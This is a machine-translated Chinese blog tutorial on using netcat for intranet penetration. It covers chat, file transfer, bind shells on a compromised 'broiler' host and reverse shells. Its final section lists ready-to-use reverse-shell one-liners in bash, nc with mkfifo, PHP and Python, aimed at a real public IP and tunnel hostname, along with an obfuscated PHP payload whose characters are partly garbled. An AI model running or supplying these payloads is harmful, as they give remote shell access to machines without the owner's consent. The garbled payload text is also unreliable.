当前位置:网站首页>Intranet penetration (NC)
Intranet penetration (NC)
2022-06-29 22:49:00 【Xiao Xiaoran】
List of articles
Intranet penetration technology (nc)
Netcat Often called nc, Have “ Swiss Army knife ” The reputation of the .
nc Small and strong , Can read and write TCP or UDP network connections , It is designed as a reliable back-end tool ,
Can be driven directly by other programs or scripts . meanwhile , It is also a network debugging and development tool with rich functions
, Because it can establish almost any type of connection you may use , And some very interesting built-in functions ,
It's based on socket Agreement work . In the field of penetration testing , We usually use it to bounce shell
Chat
Listen to the port on one side , Send a message to this port , Form a simple version of the server — Client model .
- Server side :
nc -lvp 8888
monitor 8888 port -l monitor -v Show details -p Designated port
- client :
nc -nv 192.168.100.140 8888
Connected to the server 8888 port -n Specify the number of IP Address -v Show details

File transfer
- Server side :
nc -lvp 8888 < test.txt
monitor 8888 port -l monitor -v Show details -p Designated port
- client :
nc -nvz 192.168.100.140 8888 > 1.txt
Connected to the server 8888 port -n Specify the number of IP Address -v Show details -z Turn the I / O off

Forward connection
chicken
nc -lvvp 8888 -te cmd.exe
nc -lvvp 8888 -te /bin/bash
Broiler monitor 8888 port -l monitor -vv Show more details -p Designated port -t Use interaction -e Program redirection , Once connected , Is executed
host
nc -nvv 192.168.10.14 8888
The host is connected to the broiler 8888 port -n Specify the number of IP Address -vv Show more details


Reverse connection
When the broiler is in the middle of the intranet , The host must have a public network ip, Then let the broiler take the initiative to connect to the host , Even if the broiler is a public network ip, But generally there is a firewall to intercept , So reverse connection is a good choice
chicken
nc -te /bin/bah 19.16.10.14 8888
host
nc -lvp 8888
Port mapping ( Peanut shell ,natapp)
Here we only use Peanut shell As an example …
Build a tcp Mapping

Experimental environment
chicken : 192.168.100.133
Local host : n4221p5430.wicp.vip(103.46.128.49):25741 -> 127.0.0.1:5555
Execute in the local host :
nc -lvp 5555
Execution in broiler :
Various payload Build site
https://s.xiaoxiaoran.top/
echo 'bash -i >& /dev/tcp/103.46.128.49/25741 0>&1' | bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 103.46.128.49 25741 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc n4221p5430.wicp.vip 25741 >/tmp/f
php -r '$="1";$="2";$="3";$="4";$="5";$="6";$="7";$="8";$="9";$="0";$=" ";$="<";$=">";$="-";$="&";$🤩="i";$=".";$🤨="/";$🥰="a";$="b";$="i";$="h";$="c";$="d";$="e";$="f";$="k";$="n";$="o";$="p";$="s";$="x";$ = $. $. $. $. $. $. $. $. $;$ = "103.46.128.49";$ = 25741;$ = "sh". $. $. $🤩. $. $. $. $. $. $. $. $. $. $. $. $. $;$ = $($,$);$ = $. $. $. $;$($);'
php -r '$sock=fsockopen("103.46.128.49",25741);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("103.46.128.49",25741);passthru("sh <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("n4221p5430.wicp.vip",25741));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'










边栏推荐
- Talk about auto in MySQL in detail_ What is the function of increment
- Unicom warehousing | all Unicom companies that need to sell their products need to enter the general warehouse first
- Qt5.14.2 error connecting to the MySQL database of Ubuntu 20.04
- 深入解析kubernetes controller-runtime
- 5 - 1 Analyse de vulnérabilité du système
- JS function related review
- VS无法定位程序输入点于动态链接库
- 【Proteus仿真】步进电机转速数码管显示
- leetcode:91. Decoding method [DFS + memorization]
- Kubernetes architecture that novices must know
猜你喜欢

从零实现深度学习框架——LSTM从理论到实战【理论】

nrm详解

Unicom warehousing | all Unicom companies that need to sell their products need to enter the general warehouse first

IFLYTEK AI learning machine summer new product launch AI + education depth combination to create a new height of products

Detailed description of gaussdb (DWS) complex and diverse resource load management methods

Wireshark data analysis and forensics information pacapng
Why does copying files on a shared folder on a local area network (ERP server) result in the loss of the local Internet

Optional类的高级使用

Ansible自动化运维

Kr-gcn: an interpretable recommendation system based on knowledge aware reasoning
随机推荐
What if MySQL fails to store emoticons
Touch key and key control corresponding LED status reversal
从零实现深度学习框架——RNN从理论到实战【实战】
一键式文件共享软件Jirafeau
If you master these 28 charts, you will no longer be afraid to be asked about TCP knowledge during the interview
mysql备份数据库linux
5-2Web应用程序漏洞扫描
关于深度学习的概念理解(笔记)
JS function related review
AI场景存储优化:云知声超算平台基于 JuiceFS 的存储实践
Talk about auto in MySQL in detail_ What is the function of increment
【Proteus仿真】步进电机转速数码管显示
PhpSpreadsheet读写Excel文件
How ZABBIX 5.0 adds esxi6.7 to monitoring
Efficient implementation of dynamiccast with template function and specialization function
5-1系統漏洞掃描
Processing of error b6267342 reported by AIX small machine in production environment
The development of grpc
论文浅尝 | KR-GCN: 知识感知推理的可解释推荐系统
Still stay up late every day and work overtime to make statements? In fact, you don't know how to make reports efficiently